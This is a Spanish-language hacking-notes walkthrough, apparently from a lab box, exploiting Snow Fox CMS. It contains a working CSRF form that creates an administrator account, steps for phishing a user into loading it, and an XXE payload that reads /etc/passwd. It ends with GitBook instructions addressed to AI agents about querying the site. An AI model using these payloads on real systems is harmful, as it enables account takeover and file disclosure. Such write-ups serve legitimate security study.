> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/es/cms/snowfox-cms-exploitation.md).

# SnowFox

## Vulnerabilidad CSRF

SearchExploit revela una vulnerabilidad CSRF en Snow Fox CMS.

<figure><img src="/files/141fb9fb995eaf26e5297f17a56f038754abda43" alt=""><figcaption></figcaption></figure>

**Archivo HTML vulnerable:**

```html
<html>
  <body>
    <form action="http://casino-royale.local/vip-client-portfolios/?uri=admin/accounts/create" method="POST">
      <input type="hidden" name="emailAddress" value="jordan@jordan.com" />
      <input type="hidden" name="verifiedEmail" value="verificado" />
      <input type="hidden" name="username" value="jordan-admin" />
      <input type="hidden" name="newPassword" value="jordan-password" />
      <input type="hidden" name="confirmPassword" value="jordan-password" />
      <input type="hidden" name="userGroups[]" value="34" />
      <input type="hidden" name="userGroups[]" value="33" />
      <input type="hidden" name="memo" value="CSRFmemo" />
      <input type="hidden" name="status" value="1" />
      <input type="hidden" name="formAction" value="submit" />
      <input type="submit" value="Enviar formulario" />
    </form>
  </body>
</html>
```

[CSRF](/es/web-vulnerabilities/owasp-top-10-vulnerabilities/vulnerability-cross-site-request-forgery-csrf.md) intento de crear una cuenta de administrador en Snow Fox CMS

* Conéctese mediante telnet en el puerto SMTP 25.

<figure><img src="/files/302ab47b52f833dff0a393727131cc3956a52e18" alt=""><figcaption></figcaption></figure>

* Envíe un correo electrónico a `valenka@casino-royale.local` que contenga el enlace al servidor HTTP Python del atacante que aloja el archivo HTML vulnerable.

<figure><img src="/files/6ee78f2e3106d016f3a7423f1a73242e69b2638f" alt=""><figcaption></figcaption></figure>

**Iniciar sesión con la cuenta de administrador del CMS:**

* Inicie sesión con las nuevas credenciales, lo que da como resultado la creación de una cuenta de administrador en Snow Fox CMS.

<figure><img src="/files/edb001ef4ee62e7173f2f26a2b46eeb485b5ec49" alt=""><figcaption></figcaption></figure>

#### Después de explotar la vulnerabilidad CSRF, se crea una cuenta de administrador en Snow Fox CMS.

<figure><img src="/files/79dbe3bc409540689f43231bc6b1dd822155ed41" alt=""><figcaption></figcaption></figure>

#### Identificación de pista en una descripción de usuario

La descripción de un usuario del CMS contiene una pista adicional que apunta a un directorio a seguir.

<figure><img src="/files/f904bee4677a6ef0af83b7a788dba20d7aadb6e1" alt=""><figcaption></figcaption></figure>

## Vulnerabilidad XXE

<div data-full-width="true"><figure><img src="/files/b89bec50be9d76f3695a185ff1c4ead462af82ee" alt=""><figcaption></figcaption></figure></div>

#### Análisis del código fuente de la estructura XML interceptada con Burp Suite

<figure><img src="/files/b108f09638e3c68143b7cd6d2b1efe830a6cbde2" alt=""><figcaption></figcaption></figure>

<figure><img src="/files/fcdab99b96fbc3bef1899d559577c365ab7e7a32" alt=""><figcaption></figcaption></figure>

#### Intento de ataque XXE (inyección de entidad externa XML)

* Cambie el método de la solicitud de GET a POST.

<figure><img src="/files/9696ea68c962451387b2a96c4e46d3a018e3fc1d" alt=""><figcaption></figcaption></figure>

* Intente inyectar una plantilla XXE en la solicitud POST.

<pre class="language-xml"><code class="lang-xml">&#x3C;creds>
<strong>	&#x3C;customer>
</strong>		Jordan
	&#x3C;/customer>
	&#x3C;password>
		jordan123
	&#x3C;/password>
&#x3C;/creds>
</code></pre>

* Observe cómo el servidor interpreta la plantilla XXE.

<figure><img src="/files/799cd00de4ffe347b0e3ffaeeea320f26a2b407a" alt=""><figcaption></figcaption></figure>

* Para acceder a los archivos del sistema, cree un nuevo **entidad**, por ejemplo `myFile`: `<!DOCTYPE foo [<!ENTITY myFile SYSTEM "file:///etc/passwd">]>`

Luego publique el resultado en una variable con `&myFile` como este:

<figure><img src="/files/108c7ff95defe837dc9c84b459d16396cff8a96b" alt=""><figcaption></figcaption></figure>

#### Identificación de la `ftpUserULTRA` Usuario

<figure><img src="/files/745137b6360d9e100a912365d5fd54dcc6084524" alt=""><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://hacking-notes.jord4n.pro/es/cms/snowfox-cms-exploitation.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
